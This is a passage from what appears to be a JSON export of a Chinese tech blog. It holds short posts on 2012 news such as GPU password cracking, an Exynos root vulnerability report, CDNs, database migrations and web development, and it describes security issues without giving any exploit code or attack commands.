hours</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/hk2I3.jpg\" alt=\"\" />\r\n\r\n這個 cluster 用了 25 張 AMD Radeon 卡，如果是針對 SHA-1 計算，每秒可以計算 630 億次，如果是 MD5 的話則可以到每秒 1800 億次，NTLM 則是每秒 3500 億次。\r\n\r\n不過算一算也是吃電大怪物... XD",
    "title": "暴力法破解密碼..."
  },
  {
    "id": "3050",
    "body": "看到這則新聞，買一台 <a href=\"http://www.apple.com/ipad/\">iPad</a> 但卻送來五台，而商家說「你就收下吧，耶誕快樂」：「<a href=\"http://www.techspot.com/news/51046-order-one-ipad-from-best-buy-receive-four-extras-free-of-charge.html\">Order one iPad from Best Buy, receive four extras free of charge?</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/gsdEX.jpg\" alt=\"\" />\r\n\r\n事實上是，美國法令極度保護消費者，商家如果要尋合法的管道取回會非常麻煩，這是出自 1970 年的法條「<a href=\"http://www.gpo.gov/fdsys/pkg/USCODE-2009-title39/html/USCODE-2009-title39-partIV-chap30-sec3009.htm\">Mailing of unordered merchandise</a>」(United States Code, 2006 Edition, Supplement 3, Title 39 - POSTAL SERVICE)：\r\n<blockquote>(a) Except for (1) free samples clearly and conspicuously marked as such, and (2) merchandise mailed by a charitable organization soliciting contributions, the mailing of unordered merchandise or of communications prohibited by subsection (c) of this section constitutes an unfair method of competition and an unfair trade practice in violation of section 45(a)(1) of title 15.</blockquote>\r\n只要是商家寄出未經消費者所請求的物品 (如果清楚標示上面兩項特例的話屬於例外)，就屬於違法行為。當違法行為發生後：\r\n<ul>\r\n\t<li>商家被禁止送出任何收據或請款、催繳的通知。</li>\r\n\t<li>收件人可以將該物品視為天上掉下來的禮物 (不需要同意任何條款)，要使用或是丟掉都可以。</li>\r\n</ul>\r\n這些條款使得消費者不用怕廠商故意寄東西給你，過一陣子再寄請款單要求付款，不然就要求很麻煩的手續要你歸還。也因為這個條款，美國的商家對於這類行為常常是「啊～就送你吧～」，因為舉證則人都在商家身上，一不小心就會使得商家被罰...\r\n\r\n台灣有這樣的條款嗎...？",
    "title": "當你只買一台 iPad，但卻送來五台..."
  },
  {
    "id": "3051",
    "body": "剛剛在「<a href=\"http://blog.nomadscafe.jp/2012/12/apache-http-serverrfc6585429-too-many-requests.html\">Apache HTTP ServerをRFC6585の\"429 Too Many Requests\"に(とりあえず)対応させるパッチ</a>」看到的... 429 Too Many Requests 是在四月才被提出來的 (<a href=\"https://tools.ietf.org/html/rfc6585\">RFC 6585</a>)，雖然還不是 Standard (目前是 Proposed Standard)，但看起來不錯啊...\r\n\r\n<a href=\"http://www.flickr.com/photos/osde-info/3201387730/\"><img src=\"http://farm4.staticflickr.com/3304/3201387730_d0b06c42fb.jpg\" alt=\"\" /></a>\r\n\r\n一定要放一張經典畫面...",
    "title": "429 Too Many Requests"
  },
  {
    "id": "3053",
    "body": "在「<a href=\"http://www.idryman.org/blog/2012/12/03/the-design-of-c-integer-types/\">Deep C: Understanding the Design of C Integer Types</a>」這篇文章裡面以 <a href=\"https://en.wikipedia.org/wiki/C99\">C99</a> 為參考文件，說明 C 語言的資料型態 (尤其是數字的部份)。\r\n\r\n裡面引用了規個書的文件，說明「為什麼」數字資料型態會長這樣：\r\n<blockquote>To help ensure that no code explosion occurs for what appears to be a very simple operation, many operations are defined to be how the target machine’s hardware does it rather than by a general abstract rule.</blockquote>\r\n以 target machine 為主要考量的特性與 C 語言被認為是 portable assembly language 的想法還蠻同調的... (<a href=\"http://cr.yp.to/qhasm/20050129-portable.txt\">What is a portable assembly language?</a>)\r\n\r\n所以寫 Portable C code 的人會比較辛苦，需要查規格書的資料，確保各平台都能夠正確被編譯... 而到最後演變成沒什麼人在管 \"portable\" 這件事情，反正 Autotools 開下去針對不能跑的平台用不同的 code XD",
    "title": "了解 C 語言的數字資料型態..."
  },
  {
    "id": "3055",
    "body": "在 <a href=\"http://techcrunch.com/\">TC</a> 上看到 <a href=\"http://imgur.com/\">Imgur</a> 提供商業方案：「<a href=\"http://techcrunch.com/2012/12/10/imgur-expands-its-revenue-streams-with-latest-api-update-now-ready-for-commercial-use/\">Imgur Expands Its Revenue Streams With Latest API Update, Now Ready For Commercial Use</a>」，同時 Imgur 也更新了 API 說明頁面：「<a href=\"http://api.imgur.com/\">The Imgur API - General Information</a>」。\r\n\r\n以圖片張數與 API request 數量限制，USD$25/month 每個月可以傳 12.5k 張以及 375k API requests。換算成每天的量，大約是 <del datetime=\"2012-12-12T06:27:16+00:00\">4k</del> 0.4k 張圖與 12k 次 API call。(hmmm，<a href=\"http://komica.org/\">Komica</a> 不知道會不會去租用...)\r\n\r\n看起來 Imgur 裡面的情況很糟啊，居然設計出這樣的方案。如果讓我來猜國外的觀點，Imgur 應該是被定位為「圖床」而非「相本服務」？這是要賺 <a href=\"http://www.ebay.com/\">eBay</a> 賣家的錢嗎？\r\n\r\nImgur 圖片並不是什麼便宜的 bandwidth，而是 <a href=\"http://www.edgecast.com/\">EdgeCast</a> 含亞洲 PoP 的 CDN，這樣發展對嗎...",
    "title": "Imgur 的商業使用方案..."
  },
  {
    "id": "3056",
    "body": "在「<a href=\"http://www.theverge.com/2012/12/11/3754042/google60-google-norbert-landsteiner-search-mad-men\">Google60 makes your web search slower, noisier, and exponentially more amazing</a>」看到 <a href=\"http://www.masswerk.at/google60/\">Google60</a> 這玩具 XDDD\r\n\r\n假設 <a href=\"https://www.google.com/\">Google</a> 是出現在 1960 年代，那麼操作起來會是什麼樣子 XD\r\n\r\n<img src=\"https://i.gslin.com/imgur/77MOv.jpg\" alt=\"\" />\r\n\r\n因為有接 API，所以實際上是可以搜尋的，只是這些特效讓人笑到不行 XDDD",
    "title": "Google60..."
  },
  {
    "id": "3057",
    "body": "把本來在 <a href=\"http://gslin.org/\">gslin.org</a> 的 blog 搬到 <a href=\"http://old.gslin.org/\">old.gslin.org</a>，然後丟個 301 讓本來的連結慢慢轉換過去... (雖然那邊應該是沒剩下什麼資料了)\r\n\r\n放一陣子後就可以把 gslin.org 拿來回做其他用途了...",
    "title": "把舊的 Blog 搬到另外一個網段..."
  },
  {
    "id": "3059",
    "body": "之前曾經提過 <a href=\"http://www.bootstrapcdn.com/\">BootstrapCDN</a>，不過我不是很喜歡用。主要的原因包括 <code>netdna.bootstrapcdn.com</code> 所使用的 CDN 在是不包含亞洲範圍 (會需要到美西抓)，加上之前因為換 url 結構結果本來的 url broken...\r\n\r\n<a href=\"http://cdnjs.com/\">cdnjs</a> 是之前就知道的服務，剛剛看了一下發現東西愈來愈完整了... 雖然名稱裡是放 js，但實際上上面放的 <a href=\"http://twitter.github.com/bootstrap/\">Bootstrap</a> 是完整的：\r\n<blockquote><code>//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/2.2.2/img/glyphicons-halflings.png\r\n//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/2.2.2/img/glyphicons-halflings-white.png\r\n//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/2.2.2/css/bootstrap.min.css\r\n//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/2.2.2/css/bootstrap.css\r\n//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/2.2.2/css/bootstrap-responsive.min.css\r\n//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/2.2.2/css/bootstrap-responsive.css\r\n//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/2.2.2/bootstrap.min.js\r\n//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/2.2.2/bootstrap.js</code></blockquote>\r\n剛剛在 <a href=\"http://www.cloudflare.com/\">CloudFlare</a> 官方的 blog 上看到介紹 cdnjs 有點意外：「<a href=\"http://blog.cloudflare.com/cdnjs-the-fastest-javascript-repo-on-the-web\">CDNJS: The Fastest Javascript Repo on the Web</a>」。\r\n\r\n翻了翻 <code>cdnjs.cloudflare.com</code>，看起來是包含亞洲的點，在 <a href=\"http://www.hinet.net/\">HiNet</a> 與 <a href=\"http://www.twgate.net/\">TWGate</a> 上測試是導到香港的點，應該會用用看吧。至於其他 <a href=\"https://developers.google.com/speed/libraries/\">Google Hosted Libraries</a> 有提供的應該是會用 <a href=\"https://www.google.com/\">Google</a> 的服務，畢竟是直接從台灣的機房供應的...",
    "title": "cdnjs (其實我要說的是 Bootstrap...)"
  },
  {
    "id": "3061",
    "body": "在「<a href=\"http://css-tricks.com/do-we-need-box-shadow-prefixes/\">Do we need box-shadow or border-radius prefixes anymore?</a>」這篇文章開頭就先給懶人包：\r\n<ul>\r\n\t<li>如果沒有圓角 (border-radius) 或是陰影 (box-shadow) 會造成使用者不順。</li>\r\n\t<li>如果這四個平台 (以及瀏覽器) 的量夠大的話：Firefox 3.6-、Safari 4-、iOS 3.2-、Android 2.3-。</li>\r\n</ul>\r\n在這兩種情況下，你仍然需要加上 vendor prefix...\r\n\r\n而比較長的說明，可以參考原文後半段，把這兩個效果分開說明。\r\n\r\n如果是 <a href=\"http://sass-lang.com/\">Sass</a> (SCSS) 使用者，就直接加吧，反正程式都幫你做好了... 雖然 validator 會叫 CSS 不合法，但也沒印象看過哪家瀏覽器會因為 css vendor prefix 就罷工... (真的有嗎？XD)",
    "title": "對於現在的瀏覽器，CSS 是否還需要加上 vendor prefix..."
  },
  {
    "id": "3062",
    "body": "出自「<a href=\"http://www.techdirt.com/articles/20121211/16152021352/dmca-copyright-takedowns-to-google-increased-10x-just-past-six-months.shtml\">DMCA Copyright Takedowns To Google Increased 10x In Just The Past Six Months</a>」與 <a href=\"https://www.google.com/\">Google</a> 公開的資料「<a href=\"https://www.google.com/transparencyreport/removals/copyright/data/\">資訊公開報告 - 移除要求 - 版權</a>」。\r\n\r\n六個月前是每週 250k 份，現在是 2500k 份。不知道是不是人工三班 (或是四班) 處理，如果每份算一分鐘，代表現在是千人以上的團隊處理 <a href=\"https://en.wikipedia.org/wiki/Digital_Millennium_Copyright_Act\">DMCA</a> 問題。\r\n\r\nDMCA 最大的問題慢慢浮現出來了：濫用 Takedown Notice 的人極少會受到處罰，所以就濫發。\r\n\r\n前陣子 <a href=\"http://www.nasa.gov/\">NASA</a> 在 YouTube 上放<a href=\"https://zh.wikipedia.org/wiki/%E5%A5%BD%E5%A5%87%E8%99%9F\">好奇號</a>登陸成功並傳回第一張照片的影片也被電視台 Takedown 過，<strong>最後仍然不了了之</strong>：「<a href=\"http://science.slashdot.org/story/12/08/06/1613211/nasas-own-video-of-curiosity-landing-crashes-into-a-dmca-takedown\">NASA's Own Video of Curiosity Landing Crashes Into a DMCA Takedown</a>」。\r\n\r\n也許要等數量再多十倍時 Google 會爆氣想辦法修法？",
    "title": "Google 收到的 DMCA Takedown 在六個月內爆增為原來的十倍..."
  },
  {
    "id": "3063",
    "body": "<a href=\"http://codership.com/\">codership</a> (<a href=\"http://codership.com/content/using-galera-cluster\">Galera Cluster</a> 背後的公司) 剛剛發了一篇文章，說明將 <a href=\"http://dev.mysql.com/\">MySQL</a> 轉換到 Galera Cluster 有哪些事情要先處理：「<a href=\"http://www.codership.com/content/5-tips-migrating-your-mysql-server-galera-cluster\">5 Tips for migrating your MySQL server to a Galera Cluster</a>」。\r\n\r\n純粹技術上的事情大致上是這樣：\r\n<ul>\r\n\t<li>先轉到 <a href=\"http://www.innodb.com/\">InnoDB</a>。</li>\r\n\t<li>每個 Table 都加上 Primary Key。</li>\r\n\t<li>檢查 Event，確認在 Galera Cluster 裡面會怎麼跑，或是直接拆到 cron server 跑...</li>\r\n</ul>\r\n另外幾點不是技術上的問題，而是 policy 應該規劃的事情... 把事情列出來，多隻眼睛檢查後再一步一步照表操課。\r\n\r\nPS：對於 Galera Cluster 不熟的人可以先去看官方網站以及 <a href=\"http://www.percona.com/\">Percona</a> 的說明，看不懂就不要用，這樣會比較安全...",
    "title": "從 MySQL (單機) 轉到 Galera Cluster 的前置作業..."
  },
  {
    "id": "3064",
    "body": "<a href=\"https://github.com/etsy/mctop/\">mctop</a> 其實是個看得懂 L7 packet 的 sniffer XDDD\r\n\r\n軟體是由 <a href=\"http://www.etsy.com/\">Etsy</a> 所開發，出自：「<a href=\"http://codeascraft.etsy.com/2012/12/13/mctop-a-tool-for-analyzing-memcache-get-traffic/\">mctop - a tool for analyzing memcache get traffic</a>」。跑起來像這樣 (官方的範例圖)：\r\n\r\n<img src=\"https://i.gslin.com/imgur/E1VVY.jpg\" alt=\"\" />\r\n\r\n在 <a href=\"https://github.com/\">GitHub</a> 頁面上官方有提到因為是透過 <a href=\"https://github.com/ahobson/ruby-pcap\">ruby-pcap</a>，目前沒有辦法完全承載大流量 (會有 packet loss)，不過看起來是 profiling 必備工具 :p",
    "title": "mctop：memcache top"
  },
  {
    "id": "3065",
    "body": "<a href=\"https://github.com/\">GitHub</a> 上總是有人會送一些奇怪的 pull request 出來，把整個 code repository 砍掉換成惡搞的東西... 這次是 <a href=\"https://github.com/CoderDojo/CoderDojo-Kata/\">CoderDojo / CoderDojo-Kata</a> 這個專案被人發 pull request 要惡搞，結果一堆人利用 comment 的功能開始嫌東嫌西：「<a href=\"https://github.com/CoderDojo/CoderDojo-Kata/pull/1/files\">pull 1</a>」。\r\n\r\n看完一次後覺得實在是太... 有趣 XDDD 乾脆列出來：\r\n<ul>\r\n\t<li>沒有 doctype。</li>\r\n\t<li>&lt;style&gt; 沒有指定 type。</li>\r\n\t<li>&lt;script&gt; 指定的版本居然是 JavaScript 1.2... XDDD</li>\r\n\t<li>「你的 code 疑似抄自 1995 年的 sample，請考慮加回 GPL statement」</li>\r\n\t<li><a href=\"http://www.jslint.com/\">jslint</a> 掛得很慘 XDDD</li>\r\n\t<li>javascript 裡使用不必要的全域變數。</li>\r\n\t<li>可以用三元表示式讓 code 更清楚。</li>\r\n\t<li>變數名稱不具意義 XD</li>\r\n\t<li>setInterval() 只是要呼叫一個 function，可以直接用 function name 而不需要用字串。</li>\r\n\t<li>為什麼你不縮排呢，很難讀耶...</li>\r\n\t<li>為什麼結尾不加上分號呢 (然後就呼叫 Douglas Crockford XDDD)</li>\r\n\t<li>body 加上 bgcolor 被罵 XDDD</li>\r\n\t<li>bgcolor 的顏色用 #000000 也被罵 XDDD 應該用 #111111... XDDD</li>\r\n\t<li>用 &lt;br/&gt; 排版被罵應該用 css 排 XD</li>\r\n\t<li>table 排版再被罵...</li>\r\n\t<li>single-quote 與 double-quote 混用也被罵不一致...</li>\r\n\t<li>用 inline css 被糾正 XD</li>\r\n\t<li>裡面用到圖片被稱讚 XDDD 被問圖片裡的鍵盤哪裡可以買 XDDD <img src=\"http://sphotos-a.xx.fbcdn.net/hphotos-snc6/c0.0.843.403/p843x403/224081_453380174718095_2116520284_n.png\" alt=\"\" /></li>\r\n\t<li>然後圖片沒有 alt 也被刁 XD</li>\r\n\t<li>沒用 safe color 被揍...</li>\r\n\t<li>下面有 alt 的圖片，但 alt 內容是空白而被人罵，但就有人很認真的回他說「alt 空白是合法而且某些 case 下是正確的語意，blah blah blah...」XDDD</li>\r\n\t<li>用 &lt;b&gt; 被提醒 deprecated，然後又有人很認真的回「在 HTML5 裡面被 undeprecated 了」XDDD</li>\r\n\t<li>出現 \"click here\" 但卻不能按啊啊啊</li>\r\n</ul>\r\n(倒地不起)",
    "title": "惡搞的 pull request 被人嫌到不行..."
  },
  {
    "id": "3066",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到「<a href=\"http://linux.slashdot.org/story/12/12/15/0055217/denial-of-service-attack-found-in-btrfs-file-system\">Denial-of-Service Attack Found In Btrfs File-System</a>」覺得很有趣，結果一看，又是 hash collision... XD\r\n\r\n一年前的「<a href=\"http://www.nruns.com/_downloads/advisory28122011.pdf\">n.runs-SA-2011.004 - web programming languages and platforms - DoS through hash table</a> (PDF)」打爆所有主流語言，沒想到在 filesystem 上也發生了 XDDD\r\n\r\n不知道要怎麼修正... (已經存在的資料要怎麼 migrate？incompatible change？)",
    "title": "Btrfs 的 Hash Collision..."
  },
  {
    "id": "3067",
    "body": "很久前 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 有提供 weekly build (還是 daily build？) 讓人安裝，以前還蠻喜歡抓這個版本下來裝，因為解開 ports 的東西不會太舊。現在網路夠快，用 <a href=\"https://en.wikipedia.org/wiki/Portsnap\">Portsnap</a> 拉一下就抓完了...\r\n\r\n不過對於希望能用 -STABLE 的人絕對是一個相當棒的服務 (通常發生在 -STABLE 從 -CURRENT 合併新功能進來時... 這時可以直接裝一台機器測試，而不用先裝 -RELEASE 再 re-compile kernel &amp; world 升級)：「<a href=\"http://lists.freebsd.org/pipermail/freebsd-announce/2012-December/001445.html\">FreeBSD Development Snapshot Availability</a>」。\r\n\r\n目前針對 10-CURRENT 放出 amd64、i386、powerpc、powerpc64 四個平台，9-STABLE 則是 amd64 與 i386，所以總共是六個支線，檔案在官方的 FTP 站上可以取得：「<a href=\"ftp://ftp.freebsd.org/pub/FreeBSD/snapshots/\">ftp.freebsd.org/pub/FreeBSD/snapshots/</a>」。",
    "title": "FreeBSD snapshot 版本復出..."
  },
  {
    "id": "3068",
    "body": "看到 <a href=\"http://www.booking.com/\">Booking.com</a> 把 <a href=\"http://developer.yahoo.com/yui/compressor/\">YUICompressor</a> 移植到 <a href=\"http://www.perl.com/\">Perl</a> 上：「<a href=\"http://blog.booking.com/efficient-css-compression-in-perl.html\">Efficient CSS Compression in Perl</a>」。模組在 <a href=\"http://search.cpan.org/dist/CSS-Compressor/\">CSS::Compressor</a> 這裡，看日期其實放出來蠻久的了？\r\n\r\n開發的起因是因為 <a href=\"http://www.java.com/\">Java</a> 啟動速度太慢，所以用 Perl 改寫... 雖然只能處理 CSS 的部份，但因為現在 JS 的主力應該是 <a href=\"https://github.com/mishoo/UglifyJS2\">UglifyJS2</a> 或是 <a href=\"https://github.com/mishoo/UglifyJS\">UglifyJS</a>，理論上是可以把 Java 版本的 YUICompressor 了放到旁邊了？\r\n\r\n據開發者自己的說法，因為 Java 啟動的 overhead 實在太重，就算是處理很大的 CSS 檔案，也可以省 40% 的時間，如果是小一點的檔案甚至可以省一半...",
    "title": "Perl 版本的 YUICompressor (CSS 的部份)"
  },
  {
    "id": "3069",
    "body": "話說 <a href=\"http://www.zite.com/\">Zite</a> 給的文章愈來愈歡樂了，大概是安全性的文章點多了就自動丟這類的出來。\r\n\r\n像是這篇「<a href=\"http://forum.xda-developers.com/showthread.php?p=35469999\">[ROOT][SECURITY] Root exploit on Exynos</a>」講安全漏洞的，作者猜測這些手機都有問題：\r\n<ul>\r\n\t<li>Samsung Galaxy S2</li>\r\n\t<li>Samsung Galaxy Note 2</li>\r\n\t<li>MEIZU MX</li>\r\n\t<li>使用 Samsung source code 的 Exynos processor</li>\r\n</ul>\r\n後門是 <code>/dev/exynos-mem</code>，這功能與 <code>/dev/mem</code> 一樣，只是... 所有人都可以讀寫 XD (於是任何程式都可以讀寫整台機器裡任何一個記憶體區塊內的資料)\r\n\r\n然後文章後面提供一包 PoC source，可以生出 root shell... XDDD",
    "title": "歡樂的 Samsung Security Hole..."
  },
  {
    "id": "3070",
    "body": "<a href=\"http://sitespeed.io/\">sitespeed.io</a> 是一個 open source 軟體，讓開發者可以測試網站的效能，然後輸出 html 報表：「<a href=\"http://calendar.perfplanet.com/2012/do-you-sitespeed/\">Do you sitespeed?</a>」。\r\n\r\n執行需要 <a href=\"http://www.java.com/\">Java</a> 1.7+ 以及 <a href=\"http://phantomjs.org/\">PhantomJS</a>，我是在 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 上跑 (Java 的部份是用 <a href=\"http://www.freshports.org/java/openjdk7/\">java/openjdk7</a>)，另外根據文章裡第三個 comment，在 Windows 上用 <a href=\"http://www.cygwin.com/\">Cygwin</a> 也可以跑。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lFWds.webp\" /><img src=\"https://i.gslin.com/imgur/lFWds.jpg\" alt=\"\" /></picture>\r\n\r\n以 <code>./sitespeed.io -u http://ptt.cc/ -d 1 -o img</code> 跑出來後會有一整個目錄的報告，包括了 summary 以及所有頁面的清單 (後面這兩個連結是跑完後用 <a href=\"http://s3tools.org/s3cmd\">s3cmd</a> sync 丟上 S3 的)：「<a href=\"http://test.gslin.org/sitespeed-ptt.cc-2012-12-17-04-00-14/index.html\">ptt.cc - Summary of the sitespeed.io result</a>」、「<a href=\"http://test.gslin.org/sitespeed-ptt.cc-2012-12-17-04-00-14/pages.html\">ptt.cc - All pages information</a>」。\r\n\r\n每一頁都有細項說明，像是首頁 <code>/index.html</code>：「<a href=\"http://test.gslin.org/sitespeed-ptt.cc-2012-12-17-04-00-14/pages/11.html\">Page data, collected by sitespeed.io for page - http://www.ptt.cc/index.html</a>」。\r\n\r\n不過我更感興趣的是 PhantomJS，不知道可以做多少事情...",
    "title": "sitespeed.io 網站測速"
  },
  {
    "id": "3071",
    "body": "從「<a href=\"http://www.theverge.com/2012/12/16/3773242/nasdaq-100-drops-rim-netflix-ea-adds-facebook\">RIM and Netflix dropped from NASDAQ-100 financial index as Facebook gains a seat</a>」這邊看到的，標題寫的很清楚了...\r\n\r\n自 2013 年開始，<a href=\"http://www.rim.com/\">RIM</a>、<a href=\"http://www.ea.com/\">EA</a> 以及 <a href=\"http://www.netflix.com/\">Netflix</a> 從 NASDAQ-100 除名，而 <a href=\"https://www.facebook.com/\">Facebook</a> 則是很理所當然的納入 NASDAQ-100...\r\n\r\n有點意外 Netflix 居然摔出來...",
    "title": "RIM、EA 以及 Netflix 從 NASDAQ-100 除名..."
  },
  {
    "id": "3072",
    "body": "網頁版 WYSIWYG 的 <a href=\"http://www.latex-project.org/\">LaTeX</a> 編輯器：「<a href=\"https://www.writelatex.com/\">writeLaTeX</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Hsgt4.webp\" /><img src=\"https://i.gslin.com/imgur/Hsgt4.jpg\" alt=\"\" /></picture>\r\n\r\n左邊是編輯區，右邊是 preview 視窗。沒有很即時，不過應該還是很操系統資源。(可以看出來一修改後，後端就在 recompile 輸出...)\r\n\r\n左邊編輯區的 solarized 配色看起來好舒服啊，vim 要不要換呢...",
    "title": "網頁版 WYSIWYG 的 LaTeX 編輯器..."
  },
  {
    "id": "3075",
    "body": "因為 <a href=\"http://www.php.net/\">PHP</a> 5.5.0 Alpha1 在十一月放出來，國外論壇上也陸陸續續都開始在討論 PHP 5.5 的文章，像是這篇列出了 PHP 5.5 的新功能：「<a href=\"http://net.tutsplus.com/tutorials/php/what-to-expect-from-php-5-5/\">What to Expect From PHP 5.5</a>」。\r\n\r\n目前看起來，PHP 5.5 導入 Generators 與 <code>yield</code>，可以讓 iterator 的行為寫得更自然，以前要自己得用 class 包起來模擬...\r\n\r\n不過，可以直接寫 <code>\"Hello World\"[1]</code> 得到 <code>\"e\"</code> 究竟會讓 PHP community 產生出來的 code 變成什麼樣子呢...",
    "title": "PHP 5.5 的改善..."
  },
  {
    "id": "3076",
    "body": "<a href=\"http://www.darpa.mil/\">DARPA</a> (國防高等研究計劃署，不過英文應該比較容易懂，就跟「<a href=\"http://www.nasa.gov/\">NASA</a>」的狀況一樣) 打算投入資源，研發在超過 200km 的距離下建立 100Gbps+ 無線網路的技術，仍然要維持現在這個等級的大小與電耗：「<a href=\"http://www.extremetech.com/computing/143455-darpa-begins-work-on-100gbps-wireless-tech-with-120-mile-range\">DARPA begins work on 100Gbps wireless tech with 120-mile range</a>」，DARPA 的新聞稿在「<a href=\"http://www.darpa.mil/NewsEvents/Releases/2012/12/14.aspx\">DEPLOYABLE RADIO FREQUENCY DATA BACKBONE TO MATCH FIBER OPTIC CAPACITY</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/z7IwQl.jpg\" alt=\"\" />\r\n\r\nDARPA 會在明年年初舉辦 conference：「<a href=\"https://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=e21984e31d49c3780966a53983daa4f6&amp;tab=core&amp;_cview=0\">PROPOSERS’ DAY CONFERENCE FOR 100 Gb/s RF BACKBONE (100G) PROGRAM</a>」。之後才會評估計畫內容與時程。\r\n\r\n同樣的技術拿來商用其實也有價值？200km 可以從宜蘭打到<a href=\"https://zh.wikipedia.org/wiki/%E8%A5%BF%E8%A1%A8%E5%B3%B6\">西表島</a>了，也可以從淡水打到馬祖了... 如果速度與距離可以妥協的話，屏東與東沙的 400km 不知道能不能跑上 10Gbps...",
    "title": "美國 DARPA 打算在超過 200km 的距離下建立 100Gbps 的無線網路..."
  },
  {
    "id": "3077",
    "body": "<a href=\"https://www.wikipedia.org/\">維基百科</a>的 mailing list 上丟出的消息，英文版 <a href=\"https://www.wikipedia.org/\">Wikipedia</a> 資料庫的 slave server 目前已經在 <a href=\"https://mariadb.org/\">MariaDB</a> 5.5 上了：「<a href=\"http://lists.wikimedia.org/pipermail/wikitech-l/2012-December/064994.html\">mariadb 5.5 in production for english wikipedia</a>」。\r\n\r\n之前跑的版本是 <a href=\"http://dev.mysql.com/\">MySQL</a> 5.1 + Facebook patchset 版本，整體大約快了 8%：\r\n<blockquote>Taking the times of 100% of all queries over regular sample windows, the average query time across all enwiki slave queries is about 8% faster with MariaDB vs. our production build of 5.1-fb.  Some queries types are 10-15% faster, some are 3% slower, and nothing looks aberrant beyond those bounds.  Overall throughput as measured by qps has generally been improved by 2-10%.  I wouldn't draw any conclusions from this data yet, more is needed to filter out noise, but it's positive.</blockquote>\r\n然後計畫在接下來一兩個月觀察，沒問題就全換：\r\n<blockquote>MariaDB has some nice performance improvements that our workload doesn't really hit (better query optimization and index usage during joins, much better sub query support) but there are also some things, such as full utilization of the primary key embedded on the right of every secondary index that we can take advantage of (and improve our schema around) once prod is fully upgraded, hopefully over the next 1-2 months.</blockquote>\r\n效能不是最主要考量，而是政治面的原因，官方說法是支持 open source 社群：(沒有講的就是「我們對 <a href=\"http://www.oracle.com/\">Oracle</a> 不怎麼信任...」)\r\n<blockquote>The main goal of migrating to MariaDB is not performance driven.  More so, I think it's in WMF's and the open source communities interest to coalesce around the MariaDB Foundation as the best route to ensuring a truly open and well supported future for mysql derived database technology. Performance gains along the way are icing on the cake.</blockquote>\r\n另外參考：「<a href=\"http://dom.as/2012/12/18/on-wikipedia-and-mariadb/\">on wikipedia and mariadb</a>」。",
    "title": "Wikipedia 把英文版資料庫的其中一個 slave 從 MySQL 5.1 換到 MariaDB 5.5..."
  },
  {
    "id": "3078",
    "body": "看「<a href=\"https://hacks.mozilla.org/2012/12/fantastic-front-end-performance-part-1-concatenate-compress-cache-a-node-js-holiday-season-part-4/\">Fantastic front-end performance Part 1 – Concatenate, Compress & Cache – A Node.JS Holiday Season, part 4</a>」的時候發現 <a href=\"http://nodejs.org/\">node.js</a> 版的 <a href=\"http://developer.yahoo.com/yui/compressor/\">YUICompressor</a> 比起 <a href=\"http://www.perl.org/\">Perl</a> 版本更早之前就 porting 完成了：「<a href=\"https://github.com/fmarcia/UglifyCSS\">UglifyCSS</a>」，甚至是官方版本的「<a href=\"https://github.com/yui/yuicompressor/blob/master/ports/js/cssmin.js\">yuicompressor / ports / js / cssmin.js</a>」也都遠早於 Perl 版本...\r\n\r\n用 <a href=\"https://npmjs.org/\">npm</a> 裝 uglifycss 就可以用了...",
    "title": "node.js 版的 YUICompressor..."
  },
  {
    "id": "3079",
    "body": "<a href=\"https://one.ubuntu.com/\">Ubuntu One</a> 是個類似 <a href=\"https://www.dropbox.com/\">Dropbox</a> 的軟體，有 5GB 免費空間可以用。\r\n\r\n看到「<a href=\"http://www.omgubuntu.co.uk/2012/12/ubuntu-one-for-mac-goes-stable\">Ubuntu One Mac Client Out of Beta, Now Stable</a>」之後跑去裝 <a href=\"http://www.apple.com/mac/\">Mac</a> 版，發現 Mac 版上的安裝介面跟 Mac 的風格完全不一樣... (很突兀，有種看到沒有 CSS 的 HTML 的感覺...)\r\n\r\n裝完後開起來在這個畫面跑很久：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/K6YVG.webp\" /><img src=\"https://i.gslin.com/imgur/K6YVG.jpg\" alt=\"\" /></picture>\r\n\r\n完成後的畫面：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Znkzb.webp\" /><img src=\"https://i.gslin.com/imgur/Znkzb.jpg\" alt=\"\" /></picture>\r\n\r\n另外在安裝完以後 Finder 不會出現 Ubuntu One 的側邊欄，對於第一次用的人應該會覺得有點茫然...\r\n\r\n設定畫面長這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/0DgWQ.webp\" /><img src=\"https://i.gslin.com/imgur/0DgWQ.jpg\" alt=\"\" /></picture>\r\n\r\n那個配色與圓角框感覺起來好糟糕 XDDD\r\n\r\n反正都裝起來了，就測試看看吧，晚點在 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 上也跑起來看看是不是配色會比較搭？",
    "title": "裝 Ubuntu One..."
  },
  {
    "id": "3081",
    "body": "<a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 的 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> 在世界末日時發表 120GB RAM、16 virtual core、48TB disk (24 disks) 的「EC2 虛擬機」：「<a href=\"http://aws.typepad.com/aws/2012/12/the-new-ec2-high-storage-instance-family.html\">The New EC2 High Storage Instance Family</a>」。\r\n\r\n看起來像是 12 顆 7.2KRPM 的 2TB SATA，每顆如果可以跑到 200MB 就是 2.4GBytes/sec？如果是這種規格，給大量 sequence read/write 的運算超適合，官方 blog 的說明裡的解釋也是接近這個方向：\r\n<blockquote>This instance family is designed for data-intensive applications that require high storage density and high sequential I/O -- data warehousing, log processing, and seismic analysis (to name a few). We know that these applications can generate or consume tremendous amounts 